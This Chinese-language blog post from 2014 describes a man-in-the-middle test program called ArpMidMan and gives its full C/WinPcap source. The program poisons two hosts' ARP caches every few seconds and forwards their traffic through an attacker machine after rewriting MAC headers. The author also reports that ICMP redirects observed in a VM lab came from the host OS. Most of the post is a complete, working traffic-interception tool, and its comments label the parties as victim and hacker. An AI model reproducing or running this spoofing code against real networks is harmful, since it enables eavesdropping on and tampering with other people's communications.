注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

改了个ArpMidMan中间人欺骗测试程序,发现原来ICMP不是自己构造的  

2014-04-16 10:04:21|  分类: 原理分析 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

昨天在ArpCheat程序的基础上改了下成为ArpMidMan程序,非常简单,因为MAC地址的更改

不影响校验和计算。

H是A与B的中间人,A <=> H <=> B

主要处理如下:


//
//  修改、转发、数据包的例程
//  程序的核心部分
//
void ForwardPacket(pcap_t *adhandle, const u_char *pkt_data, unsigned int pkt_len)
{
 ETHeader *eh;
    IPHeader *ih;
    u_int ip_len;

 eh = (ETHeader *) pkt_data;

 if(eh->type != htons(ETHERTYPE_IP))
  return; // 只转发IP包

 ih = (IPHeader *) (pkt_data + 14); //找到IP头的位置,14为以太头的长度
 ip_len = (ih->iphVerLen & 0xf) * 4;

 // 开始过滤要转发的数据包
 if (   ih->ipSource ==t.A && memcmp(eh->shost, t.a, 6) == 0
  && ih->ipDestination ==t.B && memcmp(eh->dhost, t.h, 6) == 0)
 {
  // 修改以太网头
  printf("[*] A->B/a->h => A->B/h->b\n");
  memcpy(eh->shost, t.h, 6);
  memcpy(eh->dhost, t.b, 6);

  if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
  {
   printf("[-] Forward thread send packet error\n");
  }
 }

 if (   ih->ipSource ==t.B && memcmp(eh->shost, t.b, 6) == 0
  && ih->ipDestination ==t.A && memcmp(eh->dhost, t.h, 6) == 0)
 {
  // 修改以太网头
  printf("[*] B->A/b->h => B->A/h->a\n");
  memcpy(eh->shost, t.h, 6);
  memcpy(eh->dhost, t.a, 6);

  if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
  {
   printf("[-] Forward thread send packet error\n");
  }
 }
}

之后用这个程序在虚拟机里面运行,欺骗主机与目标,并用savedump小程序保存了期间的

通讯数据。

在主机运行远程桌面连目标发现跟cain一样快,真是奇怪。

之后再用wireshark过滤无关的数据包另存为一个干净的版本。

发现里面出现了跟cain一样的ICMP主机重定向数据包。

而这个ICMP主机重定向数据包并不是我构造的,应该是主机接收到发到自己mac地址

但是ip与自己不一样的数据包,会返回这个ICMP主机重定向数据包给来源。

我正为这个ICMP构造苦恼呢?没想到意外解决了这个疑问。

看来ArpCheat程序很慢,没出现ICMP是因为mac与ip之间的这种关系影响的。

不过这个程序还是有这个很慢的情况,那就是在主机运行ArpMidMan程序,在虚拟机

里连目标远程桌面,就出现了跟以前那样的很慢,不过好像速度比之前快点。

可能是我主机上有瑞星防火墙的缘故吧!


附// ArpMidMan.cpp

#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")

#include "protoinfo.h"

// IP MAC对应表
typedef struct _IPMAC
{
 DWORD A; // 被害者的IP
 unsigned char a[6]; // 被害者的MAC

 DWORD B; // 原来要访问的IP
 unsigned char b[6]; // 原来要访问的MAC

 DWORD H; // 黑客的IP
 unsigned char h[6]; // 黑客的MAC

} IPMAC, *PIPMAC;

// 目标的ARP缓存表
typedef struct _DESTARP
{
 DWORD DestIp; // 目标的IP
 unsigned char DestMac[6]; // 目标的MAC

 DWORD ArpIp; // 被欺骗的IP
 unsigned char ArpMacFalse[6]; // 不对应的假MAC
 unsigned char ArpMacTrue[6];  // 对应的真MAC
} DESTARP, *PDESTARP;

IPMAC t; // IP MAC对应表
DESTARP tA, tB;
HANDLE hThread[2];

u_long if_addr;

pcap_t *adhandle;
/*
void dumpbin(unsigned char *s,int n) //输出二进制内容
{
 int i;

 printf("===Begin Dump===");

 for (i=0;i<n;i++ )
 {
  if (i%16 == 0 )
  {
   printf("\n%04x: ",i);
  }
  printf("%02X ",*(s+i));
 }

 printf("\n");
 printf("===End Dump===\n");

}
*/

//
// 转换MAC字符串为MAC地址
//
BOOL MacStr2Bin(char *macstr,unsigned char *buff)
{
 char str[100];

 if (strlen(macstr)!=17)
 {
  printf("[-] Error %s len!=17\n",macstr);
  return FALSE;
 }

 for (int i=0;i<6 ;i++ )
 {
  sscanf(macstr+3*i,"%02x",str+i);
 }

 memcpy(buff, str, 6 );
 return TRUE;
}


// 0 1 2 3 4 5 6 7 8 9
//   A a B b H h
// 得到IP MAC对应表
void GetAllIPMac(char *v[])
{
 t.A = inet_addr( v[1] );
 MacStr2Bin(v[2], t.a);

 t.B = inet_addr( v[3] );
 MacStr2Bin(v[4], t.b);

 t.H = inet_addr( v[5] );
 MacStr2Bin(v[6], t.h);

}

// 0 1 2 3 4 5 6 7 8 9
//   A a B b H h
// 本机静态绑定IP MAC
void SetStatic(char *v[])
{
 char cmd[256];

 for (int i=1; i<7; i+=2)
 {
  // arp -s 1.1.1.1 11-22-33-44-55-66 1.1.1.1
  unsigned char *p;
  p = (unsigned char *) &if_addr;
  sprintf(cmd,"arp -s %s %s %d.%d.%d.%d\n", v[i], v[i+1], p[0],p[1],p[2],p[3]);
  //printf("%s\n",cmd);
  system(cmd);
 }
}

//
// 发送ARP请求数据包的欺骗线程
//
UINT CheatThread(LPVOID lparam)

 PDESTARP p = (PDESTARP)lparam;
 u_char ucFrame[ARP_LEN];

 // 设置Ethernet头
 ETHeader eh = { 0 };
 memcpy(eh.dhost, p->DestMac, 6);
 memcpy(eh.shost, t.h, 6);
 eh.type = htons(ETHERTYPE_ARP);
 memcpy(ucFrame, &eh, sizeof(eh));

 // 设置Arp头
 ARPHeader ah = { 0 };
 ah.hrd = htons(ARPHRD_ETHER);
 ah.eth_type = htons(ETHERTYPE_IP);
 ah.maclen = 6;
 ah.iplen = 4;
 ah.opcode = htons(ARP_REQUEST);

 memcpy(ah.smac, p->ArpMacFalse, 6); // 不对应的假MAC
 ah.saddr = p->ArpIp; // 被欺骗的IP
 memset(ah.dmac, 0x00, 6);
 ah.daddr = p->DestIp;

 memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah));

 while(1)
 {
  if(pcap_sendpacket(adhandle, (const unsigned char *) ucFrame,
   ARP_LEN) < 0)
  {
   printf("[-] Send Packet Error\n");
   return FALSE;
  }

  Sleep(3000); // Sleep 3 sec to restore arp cache
 }
 return TRUE; 
}

// 欺骗所有目标的不对应的IP MAC
void CheatArpCache()
{
 tA.DestIp = t.A;
 memcpy(tA.DestMac, t.a, 6);
 tA.ArpIp = t.B;
 memcpy(tA.ArpMacFalse, t.h, 6);
 memcpy(tA.ArpMacTrue, t.b, 6);
 hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tA, NULL, NULL);

 tB.DestIp = t.B;
 memcpy(tB.DestMac, t.b, 6);
 tB.ArpIp = t.A;
 memcpy(tB.ArpMacFalse, t.h, 6);
 memcpy(tB.ArpMacTrue, t.a, 6);
 hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tB, NULL, NULL);
}

//
//  修改、转发、数据包的例程
//  程序的核心部分
//
void ForwardPacket(pcap_t *adhandle, const u_char *pkt_data, unsigned int pkt_len)
{
 ETHeader *eh;
    IPHeader *ih;
    u_int ip_len;

 eh = (ETHeader *) pkt_data;

 if(eh->type != htons(ETHERTYPE_IP))
  return; // 只转发IP包

 ih = (IPHeader *) (pkt_data + 14); //找到IP头的位置,14为以太头的长度
 ip_len = (ih->iphVerLen & 0xf) * 4;

 // 开始过滤要转发的数据包
 if (   ih->ipSource ==t.A && memcmp(eh->shost, t.a, 6) == 0
  && ih->ipDestination ==t.B && memcmp(eh->dhost, t.h, 6) == 0)
 {
  // 修改以太网头
  printf("[*] A->B/a->h => A->B/h->b\n");
  memcpy(eh->shost, t.h, 6);
  memcpy(eh->dhost, t.b, 6);

  if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
  {
   printf("[-] Forward thread send packet error\n");
  }
 }

 if (   ih->ipSource ==t.B && memcmp(eh->shost, t.b, 6) == 0
  && ih->ipDestination ==t.A && memcmp(eh->dhost, t.h, 6) == 0)
 {
  // 修改以太网头
  printf("[*] B->A/b->h => B->A/h->a\n");
  memcpy(eh->shost, t.h, 6);
  memcpy(eh->dhost, t.a, 6);

  if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
  {
   printf("[-] Forward thread send packet error\n");
  }
 }
}

//
// pcap_loop的回调函数
// 把接收到的数据传给ForwardPacket函数处理
//
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
 ForwardPacket(adhandle, pkt_data,header->len);
}

//
// 重置ARP欺骗,恢复受骗主机的ARP cache
//
void ResetSpoof()
{
 printf("[*] Reseting .....\n");

 TerminateThread(hThread[0], 0); 
 TerminateThread(hThread[1], 0);

 memcpy(tA.ArpMacFalse, tA.ArpMacTrue, 6);
 hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tA, NULL, NULL);

 memcpy(tB.ArpMacFalse, tB.ArpMacTrue, 6);
 hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tB, NULL, NULL);

 printf("[*] Sleep 5s ");
 for(int i = 0; i < 12; i++, Sleep(300))
   printf(".");
 printf("\n");
 TerminateThread(hThread[0], 0); 
 TerminateThread(hThread[1], 0);
 
 system("arp -d\n");
 // pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
 pcap_breakloop(adhandle);
}


//
// 捕获控制台事件的函数,主要是处理程序中断事务
//
BOOL CtrlHandler( DWORD fdwCtrlType )
{
 switch (fdwCtrlType)
 {
 // Handle the CTRL-C signal.
    case CTRL_C_EVENT:
    case CTRL_CLOSE_EVENT:
    case CTRL_BREAK_EVENT: 
    case CTRL_LOGOFF_EVENT:
    case CTRL_SHUTDOWN_EVENT:
  ResetSpoof(); //  恢复欺骗主机的arp cache
  return TRUE;  
    default:
  return FALSE;
 }
}

/* From tcptraceroute, convert a numeric IP address to a string */
#define IPTOSBUFFERS 12
char *iptos(u_long in)
{
 static char output[IPTOSBUFFERS][3*4+3+1];
 static short which;
 u_char *p;

 p = (u_char *)&in;
 which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
 sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
 return output[which];
}

void ifprint(pcap_if_t *d)
{
  pcap_addr_t *a;
  char ip6str[128];

  /* Name */
  printf("%s\n",d->name);

  /* Description */
  if (d->description)
    printf("\tDescription: %s\n",d->description);

  /* Loopback Address*/
  printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");

  /* IP addresses */
  for(a=d->addresses;a;a=a->next) {
    printf("\tAddress Family: #%d\n",a->addr->sa_family);
 
    switch(a->addr->sa_family)
    {
      case AF_INET:
        printf("\tAddress Family Name: AF_INET\n");
        if (a->addr)
  {
   // 接口IP   
   if_addr =((struct sockaddr_in *)a->addr)->sin_addr.s_addr;
   printf("\tAddress: %s\n", iptos(if_addr));
  }
        if (a->netmask)
          printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
        if (a->broadaddr)
          printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
        if (a->dstaddr)
          printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
        break;

   case AF_INET6:
       printf("\tAddress Family Name: AF_INET6\n");
  break;

   default:
        printf("\tAddress Family Name: Unknown\n");
        break;
    }
  }
  printf("\n");
}


int main(int argc, char *argv[])
{
 pcap_if_t *alldevs;
 pcap_if_t *d;
 int inum;
 int i=0;
 char errbuf[PCAP_ERRBUF_SIZE];

 printf("*** 双向中间人测试v1.1 ***\n\n");
 if (argc != 7)
 {
  printf("帮助: %s A a B b H h\n", argv[0]);
  printf("说明:A <=> H <=> B\n");
  printf("大写字母表示IP,小写字母表示MAC\n");
  printf("***hcper @ 2014.4.16修改***\n");
  printf("参考:ARPSpoof Ver 3.1b by CoolDiyer\n");
  printf("例子: %s " \
    "192.168.10.1 11-11-11-11-11-11 " \
    "192.168.10.2 22-22-22-22-22-22 " \
    "192.168.10.3 33-33-33-33-33-33 ", argv[0]);
  return 0;
 }
 
 /* Retrieve the device list */
 if(pcap_findalldevs(&alldevs, errbuf) == -1)
 {
  fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
  exit(1);
 }
 
 /* Print the list */
 for(d=alldevs; d; d=d->next)
 {
  printf("%d. %s\n", ++i, d->name);
  if (d->description)
   printf("\t(%s)\n\n", d->description);
  else
   printf("\t(No description available)\n\n");
 }
 
 if(i==0)
 {
  printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
  return -1;
 }
 
 printf("Enter the interface number (1-%d):",i);
 scanf("%d", &inum);
 
 if(inum < 1 || inum > i)
 {
  printf("\nInterface number out of range.\n");
  /* Free the device list */
  pcap_freealldevs(alldevs);
  return -1;
 }
 
 /* Jump to the selected adapter */
 for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
 
 /* Open the device */
 /* Open the adapter */
 if ((adhandle= pcap_open_live(d->name, // name of the device
        65536,   // portion of the packet to capture.
           // 65536 grants that the whole packet will be captured on all the MACs.
        1,    // promiscuous mode (nonzero means promiscuous)
        1000,   // read timeout
        errbuf   // error buffer
        )) == NULL)
 {
  fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
  /* Free the device list */
  pcap_freealldevs(alldevs);
  return -1;
 }
 
 printf("\n接口信息:\n");
 ifprint(d);

 printf("\nlistening on %s...\n", d->description);
 
 SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);

 GetAllIPMac(argv); // 得到所有的相关IP与MAC

 SetStatic(argv); // 本机设置静态IP MAC对应表

 CheatArpCache(); // 欺骗ARP缓存
/*
 printf("t:\n");
 dumpbin((unsigned char *)&t, sizeof(t) ); // debug

 printf("tA:\n");
 dumpbin((unsigned char *)&tA, sizeof(tA) ); // debug

 printf("tB:\n");
 dumpbin((unsigned char *)&tB, sizeof(tB) ); // debug
*/
 Sleep(2000);

 /* At this point, we don't need any more the device list. Free it */
 pcap_freealldevs(alldevs);

 /* start the capture */
 pcap_loop(adhandle, 0, packet_handler, NULL);
 
 pcap_close(adhandle);

 return 0;
}

  评论这张
 
阅读(139)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017